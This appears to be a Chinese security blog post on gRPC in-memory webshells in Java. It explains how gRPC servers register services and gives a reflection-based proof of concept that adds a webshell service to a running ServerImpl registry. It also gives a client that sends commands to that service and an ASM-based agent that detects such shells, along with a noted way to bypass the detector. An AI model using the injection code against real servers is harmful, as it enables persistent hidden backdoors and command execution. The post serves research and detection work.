0****2
grpc介绍
了解grpc之前,就需要引入rpc的设计理念,才能更好的理解grpc的工作原理。
远程过程调用(remote procedure call,缩写为 rpc)是一个计算机通信协议。该协议允许一台计算上的程序调用另一台计算机上运行的程序,使得程序员无需再做额外的操作。如果是面向对象的场景,也可以称作为远程方法调用,比如熟知的java rmi(remote method invocation)调用。
而grpc是由google开发的一款高性能的开源rpc框架,经常用于微服务之间各种不同语言的程序调用函数和通信,大大的增加了微服务之间的通信效率和平台依赖性。同时grpc是使用protocol buffers作为接口定义语言(idl),可以通过编写的proto文件来定义消息结构体和rpc远程调用函数。
协调的接口是通过proto文件来定义的消息结构,相关文档可以在reference[1]中找到。再来看看grpc的接口定义语言protocol buffers的工作流程图:
结合后续的案例说明,proto文件定义好之后需要通过生成器生成对应语言的代码,并在项目中使用才可以建立grpc调用。
03
案例说明
这里直接用绿盟星云实验室开源的grpc靶场来研究:https://github.com/snailll/grpcdemo
首先直接看看他的user.proto是如何定义的
syntax = proto3;package protocol;option go_package = protocol;option java_multiple_files = true;option java_package = com.demo.shell.protocol;message user { int32 userid = 1; string username = 2; sint32 age = 3; string name = 4;}service userservice { rpc getuser (user) returns (user) {} rpc getusers (user) returns (stream user) {} rpc saveusers (stream user) returns (user) {}}可以看到文件中定义了go_package和java_package两个变量,用处是明确指出包的命名空间,防止与其他语言的名称冲突。而java_multiple_files = true 选项则是允许为每个生成的类,生成一个单独的 .java 文件。
定义好了proto文件之后,就可以通过protoc或者maven的插件来生成grpc代码,这里我用的protoc二进制文件和插件protoc-gen-grpc来生成。
用下列两个命令生成对应的java代码文件:
protoc -i=. --java_out=./codes/ user.protoprotoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto这里的grpc插件一定要重新命名为protoc-gen-grpc-java,不然会显示找不到命令。
之后会在codes文件中生成对象关系的java文件,code文件夹中生成grpc相关的userservicegrpc.java文件。
把生成好的java文件添加到开发的项目中,并新建一个userserviceimpl类,用来实现grpc的方法。
package com.demo.shell.service;import com.demo.shell.protocol.user;import com.demo.shell.protocol.userservicegrpc;import io.grpc.stub.streamobserver;/** * @author demo * @date 2022/11/27 */public class userserviceimpl extends userservicegrpc.userserviceimplbase { @override public void getuser(user request, streamobserver responseobserver) { system.out.println(request); user user = user.newbuilder() .setname(response name) .build(); responseobserver.onnext(user); responseobserver.oncompleted(); } @override public void getusers(user request, streamobserver responseobserver) { system.out.println(get users); system.out.println(request); user user = user.newbuilder() .setname(user1) .build(); user user2 = user.newbuilder() .setname(user2) .build(); responseobserver.onnext(user); responseobserver.onnext(user2); responseobserver.oncompleted(); } @override public streamobserver saveusers(streamobserver responseobserver) { return new streamobserver() { @override public void onnext(user user) { system.out.println(get saveusers list ---- >); system.out.println(user); } @override public void onerror(throwable throwable) { system.out.println(saveusers error + throwable.getmessage()); } @override public void oncompleted() { user user = user.newbuilder() .setname(saveusers user1) .build(); responseobserver.onnext(user); responseobserver.oncompleted(); } }; }}在创建一个main方法启动netty服务
public static void main(string[] args) throws exception { int port = 8082; server server = nettyserverbuilder .forport(port) .addservice(new userserviceimpl()) .build() .start(); system.out.println(server started, port : + port); server.awaittermination();}
再编写客户端调用服务器方法
package com.demo.shell.test;import com.demo.shell.protocol.user;import com.demo.shell.protocol.userservicegrpc;import io.grpc.managedchannel;import io.grpc.managedchannelbuilder;import java.util.iterator;/** * @author demo * @date 2022/11/27 */public class nstest { public static void main(string[] args) { user user = user.newbuilder() .setuserid(100) .build(); string host = 127.0.0.1; int port = 8082; managedchannel channel = managedchannelbuilder.foraddress(host, port).useplaintext().build(); userservicegrpc.userserviceblockingstub userserviceblockingstub = userservicegrpc.newblockingstub(channel); user responseuser = userserviceblockingstub.getuser(user); system.out.println(responseuser); iterator users = userserviceblockingstub.getusers(user); while (users.hasnext()) { system.out.println(users.next()); } channel.shutdown(); }}服务器输出对应的参数请求内容
04
grpc内存马实现原理
先从服务端启动来看看userserviceimpl是如何注册的
int port = 8082;server server = nettyserverbuilder .forport(port) .addservice(new userserviceimpl()) .build() .start();forport这里只是新建了一个nettyserverbuilder类,并设置了启动服务需要绑定的端口。
而到addservice方法中,新建的userserviceimpl类作为参数传递进了方法体中
public t addservice(bindableservice bindableservice) { this.delegate().addservice(bindableservice); return this.thist();}代码中的this.delegate()就是io.grpc.internal.serverimplbuilder类
跟进查看
看到addservice方法中添加的其实是bindservice的返回值。
这里的正好是之前grpc插件生成的userservicegrpc类
@java.lang.override public final io.grpc.serverservicedefinition bindservice() { return io.grpc.serverservicedefinition.builder(getservicedescriptor()) .addmethod( getgetusermethod(), io.grpc.stub.servercalls.asyncunarycall( new methodhandlers( this, methodid_get_user))) .addmethod( getgetusersmethod(), io.grpc.stub.servercalls.asyncserverstreamingcall( new methodhandlers( this, methodid_get_users))) .addmethod( getsaveusersmethod(), io.grpc.stub.servercalls.asyncclientstreamingcall( new methodhandlers( this, methodid_save_users))) .build();}里面的代码正好对应proto文件中定义的三个方法名
addservice添加了需要注册的方法,之后就是通过build方法编译好且设置不可修改。
public server build() { return new serverimpl(this, this.clienttransportserversbuilder.buildclienttransportservers(this.gettracerfactories()), context.root);}build方法中创建了serverimpl对象,再来看看serverimpl对象的构造方法
serverimpl(serverimplbuilder builder, internalserver transportserver, context rootcontext) { this.executorpool = (objectpool)preconditions.checknotnull(builder.executorpool, executorpool); this.registry = (handlerregistry)preconditions.checknotnull(builder.registrybuilder.build(), registrybuilder); ...}主要是关注builder.registrybuilder.build()方法,进入的正好是io.grpc.internal.internalhandlerregistry$builder类的build方法。
static final class builder { private final hashmap services = new linkedhashmap(); builder() { } internalhandlerregistry.builder addservice(serverservicedefinition service) { this.services.put(service.getservicedescriptor().getname(), service); return this; } internalhandlerregistry build() { map map = new hashmap(); iterator var2 = this.services.values().iterator(); while(var2.hasnext()) { serverservicedefinition service = (serverservicedefinition)var2.next(); iterator var4 = service.getmethods().iterator(); while(var4.hasnext()) { servermethoddefinition method = (servermethoddefinition)var4.next(); map.put(method.getmethoddescriptor().getfullmethodname(), method); } } return new internalhandlerregistry(collections.unmodifiablelist(new arraylist(this.services.values())), collections.unmodifiablemap(map)); }}最后返回的collections.unmodifiablelist和collections.unmodifiablemap,就是将list列表和map转换成无法修改的对象,因此注册的userserviceimpl对象中的方法从一开始就确定了。
至此,内存马的实现步骤就可以得知,需要通过反射重新定义serverimpl对象中的this.registry值,添加进我们内存马的serverservicedefinition和servermethoddefinition。
05
内存马注入
由于m01n team公众号中并未直接给出poc利用,这里我也只能凭借自己的想法慢慢复现。
由于需用反射替换掉原先被设置unmodifiable的serverservicedefinition和servermethoddefinition,因此就需要serverimpl对象的句柄。
由于serverimpl并不是静态的类,需要获取的字段也不是静态的,因此要获取到jvm中serverimpl的类,可目前为止我没有想到有什么很好的方式获取。如果读者们有更好的思路可以留言给我,欢迎相互讨论学习。
注入的思路,就是先获取serverimpl中已经有的serverservicedefinition和servermethoddefinition,读取到新的list和map中,并在新的list和map中添加webshell内存马的信息,最后再设置unmodifiable属性并更改registry对象的值。
poc如下所示,需要提供serverimpl对象的实例。
public static void changegrpcservice(server server){ try { field field = server.getclass().getdeclaredfield(registry); field.setaccessible(true); object registry = field.get(server); class handler = class.forname(io.grpc.internal.internalhandlerregistry); field services = handler.getdeclaredfield(services); services.setaccessible(true); list serviceslist = (list) services.get(registry); list newserviceslist = new arraylist(serviceslist); //调用webshell的bindservice class cls = class.forname(com.demo.shell.protocol.webshellservicegrpc$webshellserviceimplbase); method m = cls.getdeclaredmethod(bindservice); bindableservice obj = new webshellserviceimpl(); serverservicedefinition service = (serverservicedefinition) m.invoke(obj); newserviceslist.add(service); //添加新的service到list中 services.set(registry, collections.unmodifiablelist(newserviceslist)); field methods = handler.getdeclaredfield(methods); methods.setaccessible(true); map methodsmap = (map) methods.get(registry); map newmethodsmap = new hashmap(methodsmap); for (servermethoddefinition servermethoddefinition : service.getmethods()) { newmethodsmap.put(servermethoddefinition.getmethoddescriptor().getfullmethodname(), servermethoddefinition); } methods.set(registry,collections.unmodifiablemap(newmethodsmap)); } catch (exception e) { e.printstacktrace(); }}上面的代码片段只是一个demo版本,具体的实现需要把webshellservicegrpc类转成字节码,再definition到jvm中。
注入完成后,在客户端执行如下代码调用即可:
package com.demo.shell.test;import com.demo.shell.protocol.webshellservicegrpc;import com.demo.shell.protocol.webshell;import io.grpc.managedchannel;import io.grpc.managedchannelbuilder;/** * @author demo * @date 2022/11/27 */public class nstestshell { public static void main(string[] args) { webshell webshell = webshell.newbuilder() .setpwd(x) .setcmd(calc) .build(); string host = 127.0.0.1; int port = 8082; managedchannel channel = managedchannelbuilder.foraddress(host, port).useplaintext().build(); webshellservicegrpc.webshellserviceblockingstub webshellserviceblockingstub = webshellservicegrpc.newblockingstub(channel); webshell s = webshellserviceblockingstub.exec(webshell); system.out.println(s.getcmd()); try { thread.sleep(5000); } catch (interruptedexception e) { e.printstacktrace(); } channel.shutdown(); }}
而原本公众号中给出的防御方式是通过rasp技术对动态修改service对象的行为做出拦截。其实我个人觉得这里不太好埋点,比如我可以对service的上层对象registry直接做修改,或者我对services对象的某个serverservicedefinition做修改,不做添加而只是修改原来已经存在的method,操作的对象就不需要再更改services的值。
06
grpc内存马查杀
首先在agent中的transform方法中用asm消费所有的类
classreader reader = new classreader(bytes);classwriter writer = new classwriter(reader, 0);grpcclassvisitor visitor = new grpcclassvisitor(writer,grpc_methods_list);reader.accept(visitor, 0);这里的grpcclassvisitor就是当前类的父类的接口是否继承自io.grpc.bindableservice,如果是,则说明这是一个grpc实现类,因此当中定义的方法都可以是危险函数,需要进一步使用可达性分析判断是否有危险sink函数。
package com.websocket.findmemshell;import java.util.list;import org.objectweb.asm.classvisitor;import org.objectweb.asm.classwriter;import org.objectweb.asm.methodvisitor;import org.objectweb.asm.opcodes;public class grpcclassvisitor extends classvisitor { private string classname = null; private list grpc_methods_list; public grpcclassvisitor(classwriter writer,list grpc_methods_list) { super(opcodes.asm4, writer); this.grpc_methods_list = grpc_methods_list; } @override public void visit(int version, int access, string name, string signature, string supername, string[] interfaces) { if(supername.contains(servicegrpc)) { try { string cls = thread.currentthread().getcontextclassloader().loadclass(supername.replaceall(/, \\\\.)).getinterfaces()[0].getname(); if(cls.equals(io.grpc.bindableservice)) { //system.out.println(supername class:+cls); this.classname = name; } } catch (classnotfoundexception e) { // todo auto-generated catch block e.printstacktrace(); } } super.visit(version, access, name, signature, supername, interfaces); } @override public methodvisitor visitmethod(int access, string name, string desc, string signature, string[] exceptions) { methodvisitor methodvisitor = cv.visitmethod(access, name, desc, signature, exceptions); if(this.classname == null) { return methodvisitor; }else { return new mymethodvisitor(methodvisitor, access, name, desc,this.classname,this.grpc_methods_list); } } class mymethodvisitor extends methodvisitor implements opcodes { private string methodname; private string classname; private list grpc_methods_list; public mymethodvisitor(methodvisitor mv, final int access, final string name, final string desc,string classname,list grpc_methods_list) { super(opcodes.asm5, mv); this.methodname = name; this.classname = classname; this.grpc_methods_list = grpc_methods_list; } @override public void visitmethodinsn(final int opcode, final string owner, final string name, final string desc, final boolean itf) { if(!this.grpc_methods_list.contains(this.classname+#+this.methodname)) { this.grpc_methods_list.add(this.classname+#+this.methodname); //system.out.println(this.classname+#+this.methodname); } super.visitmethodinsn(opcode, owner, name, desc, itf); } }}判断函数逻辑:
if(discoveredcalls.containskey(cp.getclassname().replaceall(\\\\., /))) { list list = discoveredcalls.get(cp.getclassname().replaceall(\\\\., /)); for(string str : list) { if(dfssearchsink(str)) { stack.push(str); stack.push(cp.getclassname().replaceall(\\\\., /)); stringbuilder sb = new stringbuilder(); while(!stack.empty()) { sb.append(- >); sb.append(stack.pop()); } system.out.println(controller calledge: +sb.tostring()); break; } }}这样的好处可以查找出系统中grpc的内存马。
缺点是在查找grpc实现类的时候,需要用到当前线程的classloader判断父类是否继承自io.grpc.bindableservice,因此攻击的时候只需要更改加载的classloader即可绕过。
Q3 GPU出货量报告 借助PC游戏迎来强劲增长
高通已获准向华为出售5G芯片?
物联网将如何改变数据中心产业?
基于MBD测试
华北工控将推出AFC行业专用级别的工业计算机
gRPC内存马研究与查杀
Onyx LED电影屏已在全球多个地方实现应用落地
车载GPS的信号漂移问题成因及对策
汽车连接器的应用特点以及发展趋势分析
新华三推动5G云网深化融合的创新和实践
量子计算潜在的革命性业务影响和通过量子计算获得业务优势的五步路线图
万万没想到,无线485通信还能这么玩儿?
尽管人工智能领域正在快速上升,但国内智能家居业依旧“内热外冷”
限制华为5G,后果很严重
InvenSense携惯性传感器新品IAM-20680,厚积薄发加深汽车电子产业布局
摩尔线程与奇安信浏览器完成产品兼容互认证
第十届中国电子信息博览会深圳新闻发布会成功举行
如何拯救你的沟通效率?用讯飞双屏翻译机,双屏操作更便捷!
数字电源和模拟电源的不同
一加7T Pro的相机得分曝光总分为114分与一加7 Pro并列